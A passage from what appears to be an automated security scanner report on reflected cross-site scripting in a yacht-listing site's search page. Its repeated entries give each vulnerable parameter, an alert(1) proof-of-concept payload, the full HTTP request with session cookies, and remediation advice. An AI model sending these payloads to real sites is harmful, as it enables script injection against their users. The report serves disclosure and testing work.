VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:30 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the N request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 143dc'%3balert(1)//7878f029867 was submitted in the N parameter. This input was echoed as 143dc';alert(1)//7878f029867 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/searchResults.jsp?cit=true&slim=quick&sm=3&hmid=0&ftid=0&enid=0¤cyid=100&luom=126&N=2280143dc'%3balert(1)//7878f029867&searchtype=topmenu HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:59:05 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "2280143dc';alert(1)//7878f029867"<br> ...[SNIP]...
The value of the enid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4a1f"%3balert(1)//5a06d383abd was submitted in the enid parameter. This input was echoed as d4a1f";alert(1)//5a06d383abd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/searchResults.jsp?cit=true&slim=quick&sm=3&hmid=0&ftid=0&enid=0d4a1f"%3balert(1)//5a06d383abd¤cyid=100&luom=126&N=2280&searchtype=topmenu HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:53 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the ftid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c3e9f"%3balert(1)//caf0417ccb5 was submitted in the ftid parameter. This input was echoed as c3e9f";alert(1)//caf0417ccb5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/searchResults.jsp?cit=true&slim=quick&sm=3&hmid=0&ftid=0c3e9f"%3balert(1)//caf0417ccb5&enid=0¤cyid=100&luom=126&N=2280&searchtype=topmenu HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:50 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hmid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f074"%3balert(1)//a4387237870 was submitted in the hmid parameter. This input was echoed as 6f074";alert(1)//a4387237870 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/searchResults.jsp?cit=true&slim=quick&sm=3&hmid=06f074"%3balert(1)//a4387237870&ftid=0&enid=0¤cyid=100&luom=126&N=2280&searchtype=topmenu HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.534. https://www.yachtworld.com/core/listing/cache/searchResults.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.yachtworld.com
Path:
/core/listing/cache/searchResults.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb3d7"style%3d"x%3aexpression(alert(1))"22a87b9b6f4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as cb3d7"style="x:expression(alert(1))"22a87b9b6f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /core/listing/cache/searchResults.jsp?cb3d7"style%3d"x%3aexpression(alert(1))"22a87b9b6f4=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 